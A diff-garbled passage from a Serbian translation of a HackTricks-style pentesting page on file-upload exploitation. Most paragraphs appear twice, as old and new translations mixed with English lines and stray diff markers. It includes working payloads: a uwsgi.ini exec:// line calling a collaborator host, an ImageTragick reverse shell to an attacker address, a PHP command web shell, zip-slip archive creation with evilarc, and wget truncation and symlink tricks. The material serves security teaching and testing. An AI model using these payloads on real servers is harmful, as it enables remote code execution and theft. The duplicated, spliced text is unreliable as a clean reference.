6. Upload fajla na **Windows** koristeći **rezervisane** (**forbidden**) **nazive** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
- Probajte i da **uploadujete izvršni fajl** (.exe) ili **.html** (manje sumnjivo) koji će **izvršiti kod** kada ga žrtva slučajno otvori.
- Pronađite ranjivost koja omogućava **preimenovanje** već otpremljenog fajla (da se promeni ekstenzija).
- Pronađite **Local File Inclusion** ranjivost da izvršite backdoor.
- **Moguće otkrivanje informacija**:
1. Otpremite **više puta** (i u **isto vreme**) **isti fajl** sa **istim imenom**
2. Otpremite fajl sa **imenom** fajla ili foldera koji **već postoji**
3. Otpremanje fajla sa **"." , ".." ili "..." kao imenom**. Na primer, u Apache na **Windows**, ako aplikacija sačuva upload-ovane fajlove u "/www/uploads/" direktorijumu, fajl sa imenom "." će kreirati fajl nazvan "uploads" u "/www/" direktorijumu.
4. Otpremite fajl koji se možda teško briše, kao što je **"...:.jpg"** na **NTFS**. (Windows)
5. Otpremite fajl u **Windows** sa **nevažećim karakterima** kao što su `|<>*?”` u imenu. (Windows)
6. Otpremite fajl u **Windows** koristeći **rezervisane** (**zabranjene**) **nazive** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
- Pokušajte takođe da **otpremite izvršni fajl** (.exe) ili **.html** (manje sumnjivo) koji će **izvršiti kod** kada ga žrtva slučajno otvori.
### Special extension tricks
### Specijalni trikovi sa ekstenzijama
Ako pokušavate da uploadujete fajlove na **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Ako pokušavate da uploadujete fajlove na **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Ako pokušavate da otpremite fajlove na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Ako pokušavate da otpremite fajlove na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` fajlovi su kao `.jar` za java, ali za php, i mogu biti **used like a php file** (izvršavanje sa php, ili uključivanje u skriptu...).
Fajlovi `.phar` su kao `.jar` za java, ali za php, i mogu se **koristiti kao php fajl** (izvršavajući ih sa php, ili uključujući ih unutar skripte...)
Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za **import files**, tako da je moguće da je neko dozvolio **this extension to be executed**.
Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za **import files**, tako da je moguće da je u nekom trenutku dozvoljeno **izvršavanje ove ekstenzije**.
## **Jetty RCE**
Ako možete da uploadujete XML fajl u Jetty server možete dobiti [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na sledećoj slici, uploadujte XML fajl u `$JETTY_BASE/webapps/` i očekujte shell!
Ako možete da otpremite XML fajl na Jetty server, možete dobiti [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je prikazano na sledećoj slici, otpremite XML fajl u `$JETTY_BASE/webapps/` i očekujte shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Za detaljno proučavanje ove ranjivosti pogledajte originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) ranjivosti mogu biti iskorišćene na uWSGI serverima ako postoji mogućnost da se izmeni `.ini` configuration file. uWSGI configuration files koriste specifičnu sintaksu za uključivanje "magic" varijabli, placeholder-a i operatora. Konkretno, '@' operator, korišćen kao `@(filename)`, služi za uključivanje sadržaja fajla. Među različitim podržanim schemes u uWSGI, "exec" scheme je posebno moćan, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcionalnost se može manipulisati za zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` configuration file procesira.
Remote Command Execution (RCE) ranjivosti mogu se iskoristiti na uWSGI serverima ako napadač ima mogućnost da izmeni `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, placeholder-a i operatora. Posebno, '@' operator, korišćen kao `@(filename)`, je namenjen da uključi sadržaj fajla. Među različitim podržanim scheme-ama u uWSGI, "exec" scheme je posebno moćna, omogućavajući čitanje podataka iz stdout procesa. Ova funkcionalnost se može zloupotrebiti za zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` konfiguracioni fajl procesuira.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini
@ -156,14 +156,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili usled Denial of Service napada) ili datoteka mora biti podešena da se auto-reload-uje. Auto-reload funkcija, ako je omogućena, ponovo učitava datoteku u zadatim intervalima pri detekciji izmena.
Izvršavanje payload-a se dešava tokom parsiranja konfiguracionog fajla. Da bi konfiguracija bila aktivirana i parsirana, proces uWSGI mora biti restartovan (potencijalno nakon pada ili zbog Denial of Service napada) ili fajl mora biti podešen na auto-reload. Funkcija auto-reload, ako je omogućena, ponovo učitava fajl u zadatim intervalima nakon što detektuje promene.
Ključno je razumeti popustljivost uWSGI parsiranja konfiguracione datoteke. Konkretno, pomenuti payload može biti ubačen u binarnu datoteku (na primer u sliku ili PDF), čime se dodatno širi opseg potencijalne eksploatacije.
Ključno je razumeti labavu prirodu parsiranja konfiguracionog fajla uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarni fajl (na primer sliku ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
## **wget File Upload/SSRF Trick**
U nekim slučajevima možete otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možete **navesti** **URL**. U tim slučajevima kod može proveravati da je ekstenzija preuzetih fajlova u okviru **whitelist** kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
U nekim prilikama možeš otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možeš **navesti** **URL**. U tim slučajevima kod može proveravati da li je ekstenzija preuzetih fajlova na whitelisti kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
Najveća dužina imena fajla u **linux**u je **255**, međutim, **wget** skraćuje imena fajlova na **236** karaktera. Možeš **preuzeti fajl nazvan "A"\*232+".php"+".gif"**, ovo ime fajla će **zaobići** **proveru** (kao u ovom primeru **".gif"** je **validna** ekstenzija) ali `wget` će **preimenovati** fajl u **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -188,13 +189,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Tools
## Alati
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) је моћан алат осмишљен да помогне Pentesters и Bug Hunters при тестирању механизама за upload фајлова. Он користи разне bug bounty технике да поједностави процес идентификације и експлоатисања ранљивости, обезбеђујући темељне процене web апликација.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Bug Hunterima pri testiranju file upload mehanizama. Koristi različite bug bounty tehnike da pojednostavi proces identifikacije i eksploatacije ranjivosti, obezbeđujući temeljne provere web aplikacija.
### Corrupting upload indices with snprintf quirks (historical)
Неки legacy upload handler-и који користе `snprintf()` или слично за прављење multi-file низова из једног upload-а могу бити преварени да фалсификују `_FILES` структуру. Због неусклађености и скраћивања у понашању `snprintf()`, пажљиво састављен single upload може изгледати као више индексираних фајлова на serverskoj страни, збуњујући логику која претпоставља строгу форму (нпр. третирање као multi-file upload и улажење у небезбедне гране). Иако данас нишан, овај образац “index corruption” повремено се појављује у CTF-овима и старијим код базама.
Neki legacy upload handleri koji koriste `snprintf()` ili slične funkcije da izgrade multi-file nizove iz single-file uploada mogu biti prevareni da falsifikuju `_FILES` strukturu. Zbog neusaglašenosti i truncation u ponašanju `snprintf()`, pažljivo konstruisan single upload može izgledati kao više indeksiranih fajlova na server strani, zbunjujući logiku koja pretpostavlja striktan oblik (npr. tretira ga kao multi-file upload i ulazi u unsafe grane). Iako danas nišna pojava, ovaj obrazac “index corruption” se povremeno pojavljuje u CTF-ovima i starijim kodbasama.
## From File upload to other vulnerabilities
@ -207,7 +208,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagemagick-exploit/)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
@ -239,7 +240,7 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za ostale tipove fajlova.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar File Automatically decompressed Upload
@ -247,26 +248,28 @@ If you can upload a ZIP that is going to be decompressed inside the server, you
### Symlink
Upload-ujte arhivu koja sadrži soft linkove ka drugim fajlovima, zatim pristupom dekompresovanim fajlovima приступићете повезаним фајловима:
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Dekompresija u različite foldere
### Dekompresija u različite direktorijume
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja ozbiljan problem. Iako se prvobitno pretpostavljalo da ova konfiguracija može da zaštiti od OS-level command execution putem malicious file uploads, podrška za hijerarhijsku kompresiju i directory traversal u ZIP archive format može biti iskorišćena. To omogućava napadačima da zaobiđu ograničenja i escape secure upload directories manipulisanjem decompression functionality ciljne aplikacije.
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Uprkos početnim pretpostavkama da ova konfiguracija može štititi od izvršavanja komandi na nivou OS-a putem malicioznih otpremanja fajlova, podrška za hijerarhijsku kompresiju i mogućnosti directory traversal u ZIP archive format mogu biti iskorišćene.
Automatizovani exploit za kreiranje takvih fajlova dostupan je na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način:
To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih direktorijuma za otpremanje manipulišući funkcionalnošću dekompresije ciljne aplikacije.
Automatizovani exploit za kreiranje takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Pored toga, opcija je i **symlink trick with evilarc**. Ako je cilj да се циља фајл као што је `/flag.txt`, треба креирати symlink ка том фајлу у вашем систему. Ово осигурава да evilarc не наиђе на грешке током свог рада.
Pored toga, **symlink trick with evilarc** je opcija. Ako je cilj da se targetuje fajl kao što je `/flag.txt`, treba kreirati symlink ka tom fajlu na vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.
Ispod je primer Python koda koji se koristi за креирање злонамерног zip фајла:
Ispod je primer Python koda koji se koristi za kreiranje malicious zip file:
```python
#!/usr/bin/python
import zipfile
@ -288,7 +291,7 @@ create_zip()
Za više detalja **pogledajte originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP kod koji izvršava komande prosleđene kroz varijablu `$_REQUEST`.
1. **Kreiranje PHP Shell-a**: PHP kod je napisan da izvršava komande prosleđene kroz `$_REQUEST` promenljivu.
```php
<?php
@ -298,14 +301,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Kreira se više fajlova i sastavlja se zip arhiva koja sadrži te fajlove.
2. **File Spraying i kreiranje kompresovanih fajlova**: Kreira se više fajlova i sastavlja se zip arhiva koja sadrži te fajlove.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, zamenjujući "xxA" sa "../" kako bi se izvršilo traversiranje direktorijuma.
3. **Modifikacija pomoću Hex Editor-a ili vi**: Imena fajlova unutar zip-a se menjaju pomoću vi ili hex editora, pritom se "xxA" menja u "../" da bi se prolazilo kroz direktorijume.
```bash
:set modifiable
@ -315,38 +318,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Otpremite ovaj sadržaj sa ekstenzijom slike da biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (prema [exploit](https://www.exploit-db.com/exploits/39767))
Otpremite ovaj sadržaj sa image ekstenzijom kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (iz [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Ugrađivanje PHP shell-a u PNG
## Umetanje PHP shell-a u PNG
Ugrađivanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, respektivno. Mogućnost da ugrađeni PHP shell ostane nepromenjen nakon ovih operacija predstavlja značajnu prednost za određene slučajeve upotrebe.
Umetanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, pošto se obično koriste za resizing i resampling slika. Mogućnost da ugrađeni PHP shell ostane nepromenjen ovim operacijama predstavlja značajnu prednost za određene upotrebe.
Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, dostupno je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs pruža sveobuhvatno razumevanje procesa i njegovih implikacija.
Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, dostupno je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj izvor pruža sveobuhvatno razumevanje procesa i njegovih implikacija.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot fajlovi
Polyglot fajlovi služe kao jedinstven alat u sajberbezbednosti, ponašajući se kao kameleoni koji mogu validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; moguće su i kombinacije kao GIF i JS ili PPT i JS.
Polyglot fajlovi predstavljaju jedinstven alat u cybersecurity-ju, ponašajući se kao kameleoni koji mogu validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovo sparivanje; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
Osnovna korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu sigurnosne mere koje pregledaju fajlove po tipu. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova fajlova za upload — kao JPEG, GIF ili DOC — kako bi se smanjio rizik koji predstavljaju potencijalno opasni formati (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, time što zadovoljava strukturne kriterijume više formata, može tiho zaobići ova ograničenja.
Osnovna upotrebljivost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju fajlove po tipu. Uobičajena praksa u raznim aplikacijama je dozvoliti samo određene tipove fajlova za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP, ili Phar fajlova). Međutim, polyglot, usklađujući se sa strukturnim kriterijumima više formata fajlova, može diskretno zaobići ta ograničenja.
Uprkos svojoj prilagodljivosti, polyglot-i imaju ograničenja. Na primer, iako polyglot može istovremeno predstavljati PHAR fajl i JPEG, uspeh njegovog otpremanja može zavisiti od politike ekstenzija na platformi. Ako je sistem strogo ograničen u pogledu dozvoljenih ekstenzija, sama strukturna dvojnost polyglota možda neće biti dovoljna da obezbedi upload.
Uprkos svojoj prilagodljivosti, polyglot-i imaju ograničenja. Na primer, dok polyglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog uploada može zavisiti od politike platforme vezane za ekstenzije fajlova. Ako je sistem strog po pitanju dozvoljenih ekstenzija, sama strukturna dvoličnost polyglot-a možda neće biti dovoljna da garantuje upload.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Otpremanje validnih JSON fajlova kao da su PDF
### Upload valid JSONs kao da su PDF
Kako izbeći detekciju tipa fajla otpremanjem validnog JSON fajla čak i ako nije dozvoljeno, falsifikujući ga kao PDF (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Kako izbeći detekciju tipa fajla uploadovanjem validnog JSON fajla čak i ako nije dozvoljeno falsifikovanjem PDF fajla (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Sve dok su `%PDF` magic bajtovi u prvih 1024 bajta, smatra se validnim (pogledaj primer u postu)
- **`pdflib` library**: Ubaci lažni PDF format unutar polja u JSON-u tako da biblioteka misli da je pdf (pogledaj primer u postu)
- **`file` binary**: Može da pročita do 1048576 bajta iz fajla. Jednostavno kreiraj JSON veći od toga tako da ne može parsirati sadržaj kao json, a zatim unutar JSON-a stavi početni deo pravog PDF-a i on će pomisliti da je PDF
- **`mmmagic` library**: Sve dok se `%PDF` magic bytes nalaze u prvih 1024 bajta smatra se validnim (pogledati primer u postu)
- **`pdflib` library**: Dodajte lažni PDF format unutar polja JSON-a tako da biblioteka misli da je pdf (pogledati primer u postu)
- **`file` binary**: Može da pročita do 1048576 bajta iz fajla. Jednostavno napravite JSON veći od toga tako da ne može parsirati sadržaj kao json, a zatim unutar JSON-a stavite početni deo pravog PDF-a i pomisliće da je PDF
## References